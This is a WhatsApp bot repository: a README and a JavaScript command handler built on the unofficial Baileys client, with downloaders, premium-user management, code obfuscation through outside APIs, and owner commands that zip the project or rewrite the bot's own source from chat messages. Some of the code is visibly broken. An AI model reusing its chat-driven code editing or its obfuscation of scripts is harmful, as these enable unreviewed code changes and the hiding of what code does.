├── README.md
├── anggazyy.js
├── package.json
├── server.js
├── serverside
├── images
│ └── anggazyydev
├── libary
│ ├── anggazyydev
│ ├── catmoe.js
│ ├── mongoDB.js
│ ├── myfunc.js
│ ├── premium.js
│ ├── remini.js
│ ├── scraper2.js
│ ├── spotify.js
│ ├── uploader.js
│ └── ytdl.js
└── system
│ ├── anggazyydev
│ ├── database.json
│ ├── lowdb
│ ├── CAF
│ ├── Low.d.ts
│ ├── Low.js
│ ├── LowSync.d.ts
│ ├── LowSync.js
│ ├── MissingAdapterError.d.ts
│ ├── MissingAdapterError.js
│ ├── adapters
│ │ ├── CAF
│ │ ├── JSONFile.d.ts
│ │ ├── JSONFile.js
│ │ ├── JSONFileSync.d.ts
│ │ ├── JSONFileSync.js
│ │ ├── LocalStorage.d.ts
│ │ ├── LocalStorage.js
│ │ ├── Memory.d.ts
│ │ ├── Memory.js
│ │ ├── MemorySync.d.ts
│ │ ├── MemorySync.js
│ │ ├── TextFile.d.ts
│ │ ├── TextFile.js
│ │ ├── TextFileSync.d.ts
│ │ ├── TextFileSync.js
│ │ ├── index.js
│ │ └── index.js.bak
│ ├── index.d.ts
│ └── index.js
│ └── premium.json
└── settings
└── cfg.js
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | ## About
9 | **Script Base DeviLx Made By Anggazyy developer**
10 |
11 | Bot WhatsApp ini dibangun menggunakan pustaka `@whiskeysockets/baileys`. Proyek ini dirancang dengan basis yang **ringan** dan **sederhana**, memberikan performa tinggi untuk berbagai penggunaan WhatsApp.
12 |
13 | > [!IMPORTANT]
14 | > **It is not guaranteed you will not be blocked by using this method. WhatsApp does not allow bots or unofficial clients on their platform, so this shouldn't be considered totally safe.**
15 |
16 |
17 | The module is now available on npm! `npm i`
18 |
19 | > [!NOTE]
20 | > **Node ``v14+`` is required.**
21 |
22 | ## Supported features
23 |
24 | | Feature | Status |
25 | | ------------- | ------------- |
26 | | Multi Device | ✅ |
27 | | Send messages | ✅ |
28 | | Receive messages | ✅ |
29 | | Send media (images/audio/documents) | ✅ |
30 | | Send media (video) | ✅ [(requires Google Chrome)][google-chrome] |
31 | | Send stickers | ✅ |
32 | | Receive media (images/audio/video/documents) | ✅ |
33 | | Send contact cards | ✅ |
34 | | Send location | ✅ |
35 | | Send buttons | ❌ [(DEPRECATED)][deprecated-video] |
36 | | Send lists | ❌ [(DEPRECATED)][deprecated-video] |
37 | | Receive location | ✅ |
38 | | Message replies | ✅ |
39 | | Join groups by invite | ✅ |
40 | | Get invite for group | ✅ |
41 | | Modify group info (subject, description) | ✅ |
42 | | Modify group settings (send messages, edit info) | ✅ |
43 | | Add group participants | ✅ |
44 | | Kick group participants | ✅ |
45 | | Promote/demote group participants | ✅ |
46 | | Mention users | ✅ |
47 | | Mention groups | ✅ |
48 | | Mute/unmute chats | ✅ |
49 | | Block/unblock contacts | ✅ |
50 | | Get contact info | ✅ |
51 | | Get profile pictures | ✅ |
52 | | Set user status message | ✅ |
53 | | React to messages | ✅ |
54 | | Create polls | ✅ |
55 | | Vote in polls | ✅ |
56 | | Communities | ✅ |
57 | | Channels | ✅ |
58 |
59 | Something missing? Make an issue and let us know!
60 |
61 | ## Contributing
62 |
63 | Feel free to open pull requests; we welcome contributions! However, for significant changes, it's best to open an issue beforehand. Make sure to review our [contribution guidelines][contributing] before creating a pull request. Before creating your own issue or pull request, always check to see if one already exists!
64 |
65 |
66 |
--------------------------------------------------------------------------------
/anggazyy.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | require("./settings/cfg")
15 | const { WA_DEFAULT_EPHEMERAL, getAggregateVotesInPollMessage, generateWAMessageFromContent, proto, generateWAMessageContent, generateWAMessage, prepareWAMessageMedia, downloadContentFromMessage, areJidsSameUser, getContentType, useMultiFileAuthState, makeWASocket, fetchLatestBaileysVersion, makeCacheableSignalKeyStore, makeWaSocket } = require("@whiskeysockets/baileys")
16 | const fs = require('fs')
17 | const util = require('util')
18 | const axios = require('axios')
19 | const { exec } = require("child_process")
20 | const chalk = require('chalk')
21 | const moment = require('moment-timezone');
22 | const yts = require ('yt-search');
23 | const didyoumean = require('didyoumean');
24 | const similarity = require('similarity')
25 | const cheerio = require('cheerio')
26 | const speed = require('performance-now')
27 | const os = require('os')
28 | const path = require('path')
29 | const archiver = require('archiver')
30 | const timestampp = speed();
31 | const latensi = speed() - timestampp
32 | const { deobfuscate } = require('obfuscator-io-deobfuscator');
33 | const { smsg, fetchJson, getBuffer, fetchBuffer, getGroupAdmins, TelegraPh, isUrl, hitungmundur, sleep, clockString, checkBandwidth, runtime, tanggal, getRandom, formatp } = require('./serverside/libary/myfunc')
34 | const { spotifyDown } = require('./serverside/libary/spotify')
35 | const prem = require("./serverside/libary/premium");
36 | const { ytdl } = require('./serverside/libary/ytdl');
37 | let premium = JSON.parse(fs.readFileSync('./serverside/system/premium.json'));
38 |
39 | module.exports = async (anggazyy, m) => {
40 | try {
41 | const from = m.key.remoteJid
42 | var body = (m.mtype === 'interactiveResponseMessage') ? JSON.parse(m.message.interactiveResponseMessage.nativeFlowResponseMessage.paramsJson).id : (m.mtype === 'conversation') ? m.message.conversation : (m.mtype == 'imageMessage') ? m.message.imageMessage.caption : (m.mtype == 'videoMessage') ? m.message.videoMessage.caption : (m.mtype == 'extendedTextMessage') ? m.message.extendedTextMessage.text : (m.mtype == 'buttonsResponseMessage') ? m.message.buttonsResponseMessage.selectedButtonId : (m.mtype == 'listResponseMessage') ? m.message.listResponseMessage.singleSelectReply.selectedRowId : (m.mtype == 'templateButtonReplyMessage') ? m.message.templateButtonReplyMessage.selectedId : (m.mtype == 'messageContextInfo') ? (m.message.buttonsResponseMessage?.selectedButtonId || m.message.listResponseMessage?.singleSelectReply.selectedRowId || m.text) : ""
43 |
44 |
45 | const budy = (typeof m.text === 'string') ? m.text : '';
46 | const prefixRegex = /^[°zZ#$@*+,.?=''():√%!¢£¥€π¤ΠΦ_&><`™©®Δ^βα~¦|/\\©^]/;
47 | const prefix = prefixRegex.test(body) ? body.match(prefixRegex)[0] : '.';
48 | const isCmd = body.startsWith(prefix);
49 | const command = isCmd ? body.slice(prefix.length).trim().split(' ').shift().toLowerCase() : '';
50 | const args = body.trim().split(/ +/).slice(1)
51 | const text = q = args.join(" ")
52 | const sender = m.key.fromMe ? (anggazyy.user.id.split(':')[0]+'@s.whatsapp.net' || anggazyy.user.id) : (m.key.participant || m.key.remoteJid)
53 | const botNumber = await anggazyy.decodeJid(anggazyy.user.id)
54 | const senderNumber = sender.split('@')[0]
55 | const isCreator = (m && m.sender && [botNumber, ...global.owner].map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(m.sender)) || false;
56 | const pushname = m.pushName || `${senderNumber}`
57 | const isBot = botNumber.includes(senderNumber)
58 | const isPrem = isCreator ? true : prem.checkPremiumUser(m.sender, premium)
59 | const quoted = m.quoted ? m.quoted : m
60 | const mime = (quoted.msg || quoted).mimetype || ''
61 |
62 | const groupMetadata = m.isGroup ? await anggazyy.groupMetadata(from).catch(e => {}) : ''
63 | const groupName = m.isGroup ? groupMetadata.subject : ''
64 | const participants = m.isGroup ? await groupMetadata.participants : ''
65 | const groupAdmins = m.isGroup ? await getGroupAdmins(participants) : ''
66 | const isBotAdmins = m.isGroup ? groupAdmins.includes(botNumber) : false
67 | const isAdmins = m.isGroup ? groupAdmins.includes(m.sender) : false
68 |
69 |
70 | // Database path
71 | let linkRegex = /https:\/\/open\.spotify\.com\/track\/[0-9A-Za-z]+/i;
72 |
73 |
74 | // Console message
75 | if (m.message) {
76 | console.log(
77 | chalk.inverse(' 📬 [ Message ] ') +
78 | ' ' +
79 | chalk.black.bgGreen(new Date().toLocaleString()) +
80 | ' ' +
81 | chalk.black.bgBlue(budy || m.mtype) + '\n' +
82 | chalk.magenta('📣 Dari: ') + chalk.green(pushname) + ' ' + chalk.yellow(`(${m.sender})`) + '\n' +
83 | chalk.bgMagenta('📍 Di: ') + chalk.green(m.isGroup ? 'Grup' : 'Private Chat') + ' ' + chalk.green(from) +
84 | '\n' + chalk.greenBright('✧──────── ANGGAZYY OFC ─────────✧')
85 | );
86 | }
87 |
88 | // Self & public
89 | if (!anggazyy.public) {
90 | if (!m.key.fromMe) return
91 | }
92 |
93 | // Function Sinkron
94 | function getFormattedDate() {
95 | var currentDate = new Date();
96 | var day = currentDate.getDate();
97 | var month = currentDate.getMonth() + 1;
98 | var year = currentDate.getFullYear();
99 | var hours = currentDate.getHours();
100 | var minutes = currentDate.getMinutes();
101 | var seconds = currentDate.getSeconds();
102 | }
103 |
104 | let d = new Date(new Date + 3600000)
105 | let locale = 'id'
106 | let week = d.toLocaleDateString(locale, { weekday: 'long' })
107 | let date = d.toLocaleDateString(locale, {
108 | day: 'numeric',
109 | month: 'long',
110 | year: 'numeric'
111 | })
112 | const hariini = d.toLocaleDateString('id', { day: 'numeric', month: 'long', year: 'numeric' })
113 |
114 | function msToTime(duration) {
115 | var milliseconds = parseInt((duration % 1000) / 100),
116 | seconds = Math.floor((duration / 1000) % 60),
117 | minutes = Math.floor((duration / (1000 * 60)) % 60),
118 | hours = Math.floor((duration / (1000 * 60 * 60)) % 24)
119 |
120 | hours = (hours < 10) ? "0" + hours : hours
121 | minutes = (minutes < 10) ? "0" + minutes : minutes
122 | seconds = (seconds < 10) ? "0" + seconds : seconds
123 | return hours + " jam " + minutes + " menit " + seconds + " detik"
124 | }
125 |
126 | function msToDate(ms) {
127 | temp = ms
128 | days = Math.floor(ms / (24*60*60*1000));
129 | daysms = ms % (24*60*60*1000);
130 | hours = Math.floor((daysms)/(60*60*1000));
131 | hoursms = ms % (60*60*1000);
132 | minutes = Math.floor((hoursms)/(60*1000));
133 | minutesms = ms % (60*1000);
134 | sec = Math.floor((minutesms)/(1000));
135 | return days+" Hari "+hours+" Jam "+ minutes + " Menit";
136 | }
137 |
138 |
139 |
140 |
141 |
142 | // Variable
143 |
144 | const fkontak = {
145 | "key": {
146 | "participant": '0@s.whatsapp.net',
147 | "remoteJid": "status@broadcast",
148 | "fromMe": false,
149 | "id": "Halo"
150 | },
151 | "message": {
152 | "locationMessage": {
153 | "name": 'Anggazyy Developer. C',
154 | "jpegThumbnail": ''
155 | }
156 | }
157 | }
158 |
159 |
160 | const totalFitur = () =>{
161 | var mytext = fs.readFileSync("./anggazyy.js").toString()
162 | var numUpper = (mytext.match(/case '/g) || []).length;
163 | return numUpper
164 | }
165 |
166 | const imageUrls = [
167 | 'https://j.top4top.io/p_3221erxmh1.jpg',
168 | 'https://c.top4top.io/p_322152rrk1.jpg',
169 | 'https://pomf2.lain.la/f/omoyqod.jpg',
170 | 'https://pomf2.lain.la/f/3h85exj.jpg',
171 | 'https://pomf2.lain.la/f/w8frl7l4.jpg',
172 | 'https://pomf2.lain.la/f/8ml6d8zt.jpg',
173 | 'https://pomf2.lain.la/f/omoyqod.jpg'
174 | ];
175 |
176 | // Randomized Image © Anggazyy Developer. C
177 | const randomIndex = Math.floor(Math.random() * imageUrls.length);
178 | const randomImageUrl = imageUrls[randomIndex];
179 |
180 | const reply = async (teks) => {
181 | return anggazyy.sendMessage(m.chat, {
182 | contextInfo: {
183 | mentionedJid: [m.sender],
184 | externalAdReply: {
185 | showAdAttribution: false,
186 | renderLargerThumbnail: false,
187 | title: `Made by Anggazyy Developer`,
188 | body: `🔴 Active : ${runtime(process.uptime())}`,
189 | previewType: "VIDEO",
190 | thumbnail: randomImageUrl,
191 | sourceUrl: `https://anggazyysite.vercel.app`,
192 | mediaUrl: `https://c.top4top.io/p_322152rrk1.jpg`
193 | }
194 | },
195 | text: teks
196 | }, {
197 | quoted: m
198 | })
199 | }
200 |
201 |
202 | // Function Asinkron ( Async )
203 | async function deobfuscateCode(text) {
204 | const result = deobfuscate(text);
205 | return result;
206 | }
207 |
208 |
209 | async function EncryptJs(code) {
210 | let res = await fetch(`https://api.alyachan.dev/api/obfuscator?code=${code}&apikey=keymu`);
211 | let jsonResponse = await res.json(); // Mendapatkan respons JSON
212 |
213 | if (jsonResponse.status) {
214 | return jsonResponse.data; // Mengembalikan bagian data dari respons (kode yang telah diobfuscate)
215 | } else {
216 | throw new Error(jsonResponse.message || 'Terjadi kesalahan dalam obfuscation');
217 | }
218 | }
219 |
220 |
221 | async function EncryptJs2(code) {
222 | let res = await fetch(`https://ai.xterm.codes/api/tools/js-protector?code=${code}&key=keymu`);
223 | let jsonResponse = await res.json(); // Mendapatkan respons JSON
224 | return jsonResponse.data; // Mengembalikan bagian data dari respons
225 | }
226 |
227 |
228 |
229 | switch(command) {
230 | case 'menu':
231 | let menu = `
232 |
233 | *Informasi Script:*
234 | *Version* : *1.0*
235 | *Type* : *Case*
236 | *Libary*: *@Whiskeysockets/baileys*
237 | *Active* : *${runtime(process.uptime())}*
238 |
239 | *_Don't let yourself fall again in the midst of a big mistake for yourself. 💭_*
240 |
241 | 𐓷 *Tools*
242 | ⇝ tourl *Reply image*
243 | ⇝ get *Input url*
244 | ⇝ encrypt *Input code*
245 | ⇝ encryptv2 *Input code*
246 | ⇝ decrypt *Input code*
247 |
248 | 𐓷 *Downloader*
249 | ⇝ spotify *Url music*
250 | ⇝ tiktok *Url tiktok*
251 | ⇝ play *Title song*
252 | ⇝ mediafire *Input link*
253 |
254 |
255 | 𐓷 *Creator*
256 | ⇝ backup *Backup Script*
257 | ⇝ clear *Session*
258 | ⇝ self *Pribadi only*
259 | ⇝ public *Everyone*
260 | ⇝ addprem *Input number*
261 | ⇝ delprem *Input number*
262 | ⇝ getcase *Get fitur*
263 | ⇝ renamecase *Rename fitur*
264 | ⇝ addcase *Add fitur*
265 | ⇝ hapuscase *Delete fitur*
266 | ⇝ getfunc *Get function*
267 | ⇝ editcase *Edit structur*
268 | ⇝ >
269 | ⇝ =>
270 | ⇝ $
271 | `
272 | anggazyy.sendMessage(m.chat, {
273 | video: {
274 | url: 'https://files.catbox.moe/keg4qr.mp4'
275 | },
276 | caption: menu,
277 | gifPlayback: true,
278 | gifAttribution: 1,
279 | contextInfo: {
280 | mentionedJid: [m.sender],
281 | externalAdReply: {
282 | showAdAttribution: true,
283 | title: '𐙚 Devil Travaz - Auto',
284 | body: 'Bot whatsapp multi fungsi using whiskeysockets/baileys make a simple.',
285 | thumbnailUrl: randomImageUrl,
286 | sourceUrl: 'https://anggazyysite.vercel.app',
287 | mediaType: 1,
288 | renderLargerThumbnail: true
289 | },
290 | forwardedNewsletterMessageInfo: {
291 | newsletterJid: '0@newsletter',
292 | newsletterName: 'Powered by : Anggazyy',
293 | serverMessageId: -1
294 | }
295 | }
296 | }, { quoted: fkontak });
297 | break
298 |
299 |
300 |
301 | case 'get': {
302 | if (!isCreator) return m.reply('You do not have permission to access this feature.');
303 | if (!text) return m.reply("Please Input url.\nExample: .get https://anggazyysite.vercel.app");
304 | try {
305 | var check = await fetchJson(text);
306 | let jsonContent = JSON.stringify(check, null, 2);
307 | await anggazyy.sendMessage(m.chat, { document: Buffer.from(jsonContent, 'utf-8'), fileName: 'index.html', mimetype: 'text/html' }, { quoted: m, caption: 'Sukses Fetching' });
308 | } catch (e) {
309 | return m.reply(e.toString());
310 | }
311 | }
312 | break;
313 |
314 | case 'sc':
315 | case 'script':
316 | m.reply(`Halo! aku menggunakan script dari Anggazyy\nLink: *https://github.com/AnggazyyZcoder/ShizukuBot*`)
317 | break
318 |
319 |
320 | case "play": {
321 | if (!text) return m.reply(`*Example:* ${prefix + command} phdotograph`)
322 | let search = await yts(text);
323 | let telaso = search.all[0].url;
324 | var responsek = await ytdl(telaso)
325 | var puki = responsek.data.mp3
326 | anggazyy.sendMessage(m.chat, { audio: { url: puki },
327 | mimetype: "audio/mpeg",
328 | fileName: "kiuu.mp3",
329 | contextInfo: {
330 | forwardingScore: 100,
331 | isForwarded: true,
332 | externalAdReply: {
333 | showAdAttribution: true,
334 | title: search.all[0].title,
335 | sourceUrl: search.all[0].timestamp,
336 | thumbnailUrl: search.all[0].thumbnail,
337 | }}},{quoted:m})
338 | }
339 | break
340 | case "backup":{
341 | if (!isCreator) return m.reply('You do not have permission to access this feature.');
342 | const { execSync } = require("child_process");
343 | const ls = (await execSync("ls")).toString().split("\n").filter(
344 | (pe) =>
345 | pe != "node_modules" &&
346 | pe != "package-lock.json" &&
347 | pe != "yarn.lock" &&
348 | pe != "tmp" &&
349 | pe != ""
350 | );
351 | const exec = await execSync(`zip -r backup.zip ${ls.join(" ")}`);
352 | await anggazyy.sendMessage(m.chat, { document: await fs.readFileSync("./backup.zip"), mimetype: "application/zip", fileName: "backup.zip",},{quoted: m}); await execSync("rm -rf backup.zip");
353 | }
354 | break
355 |
356 | case "tourl": {
357 | if (!/video/.test(mime) && !/image/.test(mime)) return m.reply(`*Send/Reply the Video/Image With Caption* ${prefix + command}`)
358 | if (!quoted) return m.reply(`*Send/Reply the Video/Image Caption* ${prefix + command}`)
359 | let q = m.quoted ? m.quoted : m
360 | anggazyy.sendMessage(from, {
361 | react: {
362 | text: '🎁',
363 | key: m.key
364 | }
365 | });
366 | let media = await q.download()
367 | let uploadImage = require('./serverside/libary/catmoe')
368 | let isTele = /image\/(png|jpe?g|gif)|video\/mp4/.test(mime)
369 | let link = await (isTele ? uploadImage : uploadFile)(media)
370 | m.reply(`Your Link : ${link}\nExpired Date : Liftime`)
371 | }
372 | break
373 | case 'spotify':
374 | if (!text) return m.reply(`Urlnya mana?\n*Contoh:* ${prefix + command} https://open.spotify.com/track/xxxxxx`)
375 | anggazyy.sendMessage(m.chat, { react: { text: '👒', key: m.key }})
376 | let urlSpo = linkRegex.test(text)
377 | if (!urlSpo) return m.reply(`Hanya Support Url Track *(music)*\n*Contoh Url:* https://open.spotify.com/track/xxxxxx`)
378 | let response = await spotifyDown(text)
379 | let { nama, title, durasi, thumb, url } = response
380 |
381 | if (response) {
382 | let cap = `*© 𝖲𝗉𝗈𝗍𝗂𝖿𝗒 𝖬𝗎𝗌𝗂𝖼*
383 |
384 | *[🏷️] Info Music*
385 | * *Title:* ${title}
386 | * *Durasi:* ${durasi}
387 | * *Artis:* ${nama}
388 | * *Spotify:* ${text}
389 |
390 | \`Kamu Dapat Mencari Music Spotify\`\n*Caranya:* ${prefix}spotisearch
`
391 | await anggazyy.sendMessage(m.chat, { text: cap, contextInfo: { mentionedJid: [m.sender], externalAdReply: { mediaUrl: '', mediaType: 1, title: title, body: '© Anggazyy Developer', thumbnailUrl: thumb, sourceUrl: '', renderLargerThumbnail: true, showAdAttribution: false } } }, { quoted: m });
392 | anggazyy.sendMessage(m.chat, { audio: { url: url }, mimetype: 'audio/mp4' }, { quoted: m })
393 | } else {
394 | m.m.reply(eror)
395 | }
396 | break
397 |
398 | case 'tiktok': {
399 | async function tiktok(query) {
400 | return new Promise(async (resolve, reject) => {
401 | try {
402 | const encodedParams = new URLSearchParams();
403 | encodedParams.set('url', query);
404 | encodedParams.set('hd', '1');
405 |
406 | const response = await axios({
407 | method: 'POST',
408 | url: 'https://tikwm.com/api/',
409 | headers: {
410 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
411 | 'Cookie': 'current_language=en',
412 | 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36'
413 | },
414 | data: encodedParams
415 | });
416 | const videos = response.data.data;
417 | const result = {
418 | title: videos.title,
419 | cover: videos.cover,
420 | origin_cover: videos.origin_cover,
421 | no_watermark: videos.play,
422 | watermark: videos.wmplay,
423 | music: videos.music
424 | };
425 | resolve(result);
426 | } catch (error) {
427 | reject(error);
428 | }
429 | });
430 | }
431 | if (args.length == 0) return m.reply(`☘️ *Link Tiktoknya Mana?*`)
432 | if (!isUrl(args[0])) return m.reply('⚠️ *Itu Bukan Link Yang Benar*')
433 | m.reply(mess.wait)
434 | let cap = ``
435 | let res = await tiktok(`${args[0]}`)
436 | anggazyy.sendMessage(m.chat, { video: { url: res.no_watermark }, caption: cap, fileName: `tiktok.mp4`, mimetype: 'video/mp4' }).then(() => {
437 | anggazyy.sendMessage(m.chat, { audio: { url: res.music }, fileName: `tiktok.mp3`, mimetype: 'audio/mp4' })
438 | })
439 | }
440 | break
441 | case 'clear': {
442 | if (!isCreator) return m.reply('You do not have permission to access this feature.');
443 | fs.readdir("./sessionserver", async function(err, files) {
444 | if (err) {
445 | console.log('Unable to scan directory: ' + err);
446 | return m.reply('Unable to scan directory: ' + err);
447 | }
448 | let filteredArray = await files.filter(item => item.startsWith("pre-key") ||
449 | item.startsWith("sender-key") || item.startsWith("session-") || item.startsWith("app-state")
450 | )
451 | console.log(filteredArray.length);
452 | let teks = `Detected ${filteredArray.length} junk files\n\n`
453 | if (filteredArray.length == 0) return m.reply(teks)
454 | filteredArray.map(function(e, i) {
455 | teks += (i + 1) + `. ${e}\n`
456 | })
457 | m.reply(teks)
458 | await sleep(2000)
459 | m.reply("Deleting junk files...")
460 | await filteredArray.forEach(function(file) {
461 | fs.unlinkSync(`./sessionserver/${file}`)
462 | });
463 | await sleep(2000)
464 | m.reply("Successfully deleted all the trash in the session folder")
465 | });
466 | }
467 | break
468 |
469 |
470 | case 'self': {
471 | if (!isCreator) return m.reply('You do not have permission to access this feature.')
472 | anggazyy.public = false
473 | m.reply(`Succes switch mode bot sekarang mode self`)
474 | }
475 | break
476 |
477 | case 'public': {
478 | if (!isCreator) return m.reply('You do not have permission to access this feature')
479 | anggazyy.public = true
480 | m.reply(`Succes switch mode bot sekarang mode public`)
481 | }
482 | break
483 |
484 | case 'decrypt':
485 | if (!isPrem) return m.reply('*You do not have permission to access this feature.*');
486 | if (!text) return m.reply('Mana textnya');
487 | const memek = await deobfuscate(text);
488 | const water = `/*\n * Deobfuscated By Anggazyy Developer\n * Buy Script Pv me\n*/\n\n`;
489 | const lastt = water + memek;
490 | await anggazyy.sendMessage(m.chat, {
491 | document: Buffer.from(lastt, 'utf-8'),
492 | fileName: 'deobfuscated_code.js',
493 | mimetype: 'application/javascript'
494 | }, { quoted: m, caption: 'Sukses Deobfuscation' });
495 |
496 | break;
497 | case 'encrypt':
498 | if (!isPrem) return m.reply('*Khusus premium atau developer bot.*');
499 | if (!text) return m.reply('Mana textnya');
500 |
501 | // Proses deobfuscation
502 | const kkkk = await EncryptJs(text);
503 |
504 | // Pastikan hasilDeobfuscate adalah string dan hapus tanda kutip di awal dan akhir
505 | const cleanResult = kkkk.replace(/^"|"$/g, ''); // Menghapus tanda kutip di awal dan akhir
506 |
507 | // Tambahkan watermark di awal hasil
508 | const watermark = `/*\n * Obfuscated By Anggazyy Developer\n * Buy Script Pv me\n\n*/\n\n`;
509 | const finalResult = watermark + cleanResult; // Gabungkan watermark dengan hasil asli
510 |
511 | // Mengirim hasil sebagai file JavaScript
512 | await anggazyy.sendMessage(m.chat, {
513 | document: Buffer.from(finalResult, 'utf-8'),
514 | fileName: 'obfuscated_code.js', // Nama file yang akan dikirim
515 | mimetype: 'application/javascript' // MIME type untuk JavaScript
516 | }, { quoted: m, caption: 'Suksess' });
517 |
518 | break;
519 | case 'mediafire': {
520 | async function mediafiredll(url) {
521 | const res = await axios.get(`https://www-mediafire-com.translate.goog/${url.replace('https://www.mediafire.com/', '')}?_x_tr_sl=en&_x_tr_tl=fr&_x_tr_hl=en&_x_tr_pto=wapp`);
522 | const $ = cheerio.load(res.data);
523 |
524 | const fileurl = $('#downloadButton').attr('href');
525 | const filename = $('body > main > div.content > div.center > div > div.dl-btn-cont > div.dl-btn-labelWrap > div.promoDownloadName.notranslate > div')
526 | .attr('title')
527 | .replaceAll(' ', '')
528 | .replaceAll('\n', '');
529 |
530 | const date = $('body > main > div.content > div.center > div > div.dl-info > ul > li:nth-child(2) > span').text();
531 | const filesize = $('#downloadButton').text()
532 | .replace('Download', '')
533 | .replace('(', '')
534 | .replace(')', '')
535 | .replace('\n', '')
536 | .replace('\n', '')
537 | .replace(' ', '')
538 | .replaceAll(' ', '');
539 |
540 | let filetype = '';
541 | let rese = await axios.head(fileurl);
542 | filetype = rese.headers['content-type'];
543 |
544 | return { filename, filesize, date, filetype, fileurl };
545 | }
546 |
547 | let input = `*Example*: ${prefix + command} https://www.mediafire.com/xxxxxxx*`;
548 |
549 | if (!text) return m.reply(input);
550 |
551 | const dataJson = await mediafiredll(text);
552 | const { filename, filesize, date, filetype, fileurl } = dataJson
553 | if (filesize.split('MB')[0] >= 100) {
554 | return m.reply('*Ih gede banget size nya, gak mao ah😠*');
555 | }
556 |
557 | await sleep(500);
558 |
559 | const caption = `≡ *MEDIAFIRE*
560 |
561 | ▢ *Name* : ${filename}
562 | ▢ *Size* : ${filesize}
563 | ▢ *Type* : ${filetype}
564 | ▢ *UploadAt*: ${date}`;
565 |
566 | anggazyy.sendMessage(m.chat, { document : { url : fileurl}, fileName : filename, caption: caption, mimetype: filetype }, { quoted : m });
567 | }
568 | break;
569 | case 'addprem': {
570 | if (!isCreator) return m.reply('Khusus developer')
571 | const swn = args.join(" ")
572 | const pcknm = swn.split("|")[0];
573 | const atnm = swn.split("|")[1];
574 | if (!pcknm) return m.reply(`Penggunaan :\n*${prefix}addprem* @tag|waktu\n*${prefix}addprem* nomor|waktu\n\nContoh : ${prefix+command} @tag|30d`)
575 | if (!atnm) return m.reply(`Mau yang berapa hari?`)
576 | let users = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net'
577 | if (users) {
578 | prem.addPremiumUser((pcknm.replace('@','')+'@s.whatsapp.net').replace(' @','@'), atnm, premium)
579 | m.reply('Sukses')
580 | } else {
581 | var cekap = await anggazyy.onWhatsApp(pcknm+"@s.whatsapp.net")
582 | if (cekap.length == 0) return m.reply(`Masukkan nomer yang valid/terdaftar di WhatsApp`)
583 | prem.addPremiumUser((pcknm.replace('@','')+'@s.whatsapp.net').replace(' @','@'), atnm, premium)
584 | m.reply('Sukses')
585 | }}
586 | break
587 | case 'renamecase':
588 | if (!q) return m.reply('Format tidak valid. Contoh: renamecase izintes|izintesnew');
589 | if (!isCreator) return m.reply('Khusus owner');
590 |
591 | // Pisahkan input menjadi nama case lama dan nama case baru
592 | const [oldCaseName, newCaseName] = q.split('|').map(name => name.trim());
593 |
594 | if (!oldCaseName || !newCaseName) {
595 | return m.reply('Format tidak valid. Contoh: renamecase izintes|izintesnew');
596 | }
597 |
598 | // Path ke file yang berisi switch-case
599 | const rinembos = path.join(__dirname, 'anggazyy.js');
600 |
601 | try {
602 | // Baca file secara sinkron
603 | let data = fs.readFileSync(rinembos, 'utf8');
604 |
605 | // Ekspresi reguler untuk mencari case berdasarkan nama lama
606 | const caseRegex = new RegExp(`case\\s+'${oldCaseName}'\\s*:\\s*`, 'g');
607 | const startIndex = data.search(caseRegex);
608 |
609 | if (startIndex === -1) {
610 | return m.reply(`Case '${oldCaseName}' tidak ditemukan.`);
611 | }
612 |
613 | // Cari case berikutnya setelah case yang dicari
614 | const nextCasePattern = /case\s+'/g;
615 | nextCasePattern.lastIndex = startIndex + 1;
616 | const nextCaseMatch = nextCasePattern.exec(data);
617 |
618 | // Update nama case
619 | const updatedData = data.replace(caseRegex, `case '${newCaseName}':`);
620 |
621 | // Tulis kembali ke file
622 | fs.writeFileSync(rinembos, updatedData, 'utf8');
623 | m.reply(`Case '${oldCaseName}' sukses menjadi '${newCaseName}'!`);
624 | } catch (err) {
625 | console.error(err);
626 | m.reply('Terjadi kesalahan saat membaca atau menulis file.');
627 | }
628 | break;
629 | case 'editcase':
630 | if (!q) return m.reply('Mana case yang ingin diedit? Format: .editcase case \'namafitur\':\n\n');
631 | if (!isCreator) return m.reply('Khusus owner');
632 |
633 | const caseNameRegex = /case\s+'([^']+)':/;
634 | const match = q.match(caseNameRegex);
635 |
636 | if (!match) {
637 | return m.reply('Format tidak benar. Contoh: .editcase case \'namafitur\':\n\n');
638 | }
639 |
640 | const caseName = match[1];
641 | const newCode = q.replace(caseNameRegex, '').trim();
642 |
643 |
644 | const filenyabang = path.join(__dirname, 'anggazyy.js');
645 |
646 | try {
647 |
648 | let data = fs.readFileSync(filenyabang, 'utf8');
649 | const caseRegex = new RegExp(`case\\s+'${caseName}'\\s*:\\s*`, 'g');
650 | const startIndex = data.search(caseRegex);
651 |
652 | if (startIndex !== -1) {
653 | let endIndex = -1;
654 | const breakPattern = /break\s*;/g;
655 | breakPattern.lastIndex = startIndex;
656 | const breakMatch = breakPattern.exec(data);
657 |
658 | if (breakMatch) {
659 | endIndex = breakMatch.index + breakMatch[0].length;
660 | }
661 |
662 |
663 | const nextCasePattern = /case\s+'/g;
664 | nextCasePattern.lastIndex = startIndex + 1;
665 | const nextCaseMatch = nextCasePattern.exec(data);
666 |
667 | if (nextCaseMatch && (endIndex === -1 || nextCaseMatch.index < endIndex)) {
668 | endIndex = nextCaseMatch.index;
669 | }
670 |
671 | if (endIndex !== -1) {
672 | const updatedCode = `case '${caseName}':\n${newCode}\n`;
673 | data = data.slice(0, startIndex) + updatedCode + data.slice(endIndex);
674 | fs.writeFileSync(filenyabang, data, 'utf8');
675 | m.reply(`Succesfully update case ${q}!`);
676 | } else {
677 | m.reply('Maaf, tidak ditemukan akhir yang jelas untuk case tersebut.');
678 | }
679 | } else {
680 | m.reply('Sorry, case nya gada di file anggazyy.js');
681 | }
682 | } catch (err) {
683 | console.error(err);
684 | m.reply('Eror, silahkan cek console untuk lihat apa yang eror');
685 | }
686 | break;
